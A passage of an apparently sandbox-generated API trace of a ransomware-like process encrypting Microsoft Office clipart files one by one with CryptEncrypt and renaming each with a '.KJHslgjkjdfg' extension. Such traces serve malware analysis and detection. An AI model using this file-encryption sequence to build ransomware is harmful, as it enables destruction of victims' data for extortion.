dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.708] SetEndOfFile (hFile=0x130) returned 1 [0193.711] GetProcessHeap () returned 0x990000 [0193.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.711] GetProcessHeap () returned 0x990000 [0193.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.kjhslgjkjdfg")) returned 1 [0193.712] CloseHandle (hObject=0x130) returned 1 [0193.712] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0193.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.713] GetProcessHeap () returned 0x990000 [0193.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.713] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.713] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.715] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.716] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.716] GetProcessHeap () returned 0x990000 [0193.716] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.716] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.716] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.716] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.716] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.716] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.716] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.716] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.716] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2c18, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2c18, lpOverlapped=0x0) returned 1 [0193.717] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c20, dwBufLen=0x2c20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2c20) returned 1 [0193.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.717] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2c20, lpOverlapped=0x0) returned 1 [0193.717] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.717] SetEndOfFile (hFile=0x130) returned 1 [0193.720] GetProcessHeap () returned 0x990000 [0193.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.720] GetProcessHeap () returned 0x990000 [0193.720] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf.kjhslgjkjdfg")) returned 1 [0193.721] CloseHandle (hObject=0x130) returned 1 [0193.721] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0193.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.723] GetProcessHeap () returned 0x990000 [0193.723] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.723] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.723] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.725] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.726] GetProcessHeap () returned 0x990000 [0193.726] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.726] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.726] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.726] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1984, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1984, lpOverlapped=0x0) returned 1 [0193.727] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1990, dwBufLen=0x1990 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1990) returned 1 [0193.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.727] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1990, lpOverlapped=0x0) returned 1 [0193.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.728] SetEndOfFile (hFile=0x130) returned 1 [0193.730] GetProcessHeap () returned 0x990000 [0193.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.730] GetProcessHeap () returned 0x990000 [0193.730] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.kjhslgjkjdfg")) returned 1 [0193.731] CloseHandle (hObject=0x130) returned 1 [0193.731] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0193.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.732] GetProcessHeap () returned 0x990000 [0193.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.770] GetProcessHeap () returned 0x990000 [0193.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.770] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.770] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.770] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.771] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.771] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.771] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1094, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1094, lpOverlapped=0x0) returned 1 [0193.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10a0, dwBufLen=0x10a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x10a0) returned 1 [0193.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.777] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x10a0, lpOverlapped=0x0) returned 1 [0193.778] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.778] SetEndOfFile (hFile=0x130) returned 1 [0193.780] GetProcessHeap () returned 0x990000 [0193.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.781] GetProcessHeap () returned 0x990000 [0193.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.kjhslgjkjdfg")) returned 1 [0193.782] CloseHandle (hObject=0x130) returned 1 [0193.782] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0193.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.783] GetProcessHeap () returned 0x990000 [0193.783] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.783] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.786] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.786] GetProcessHeap () returned 0x990000 [0193.786] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.786] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.786] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.786] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.786] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.787] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.787] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.787] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.787] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13d4, lpOverlapped=0x0) returned 1 [0193.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13e0) returned 1 [0193.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.788] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13e0, lpOverlapped=0x0) returned 1 [0193.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.788] SetEndOfFile (hFile=0x130) returned 1 [0193.791] GetProcessHeap () returned 0x990000 [0193.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.791] GetProcessHeap () returned 0x990000 [0193.791] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.kjhslgjkjdfg")) returned 1 [0193.794] CloseHandle (hObject=0x130) returned 1 [0193.794] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0193.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 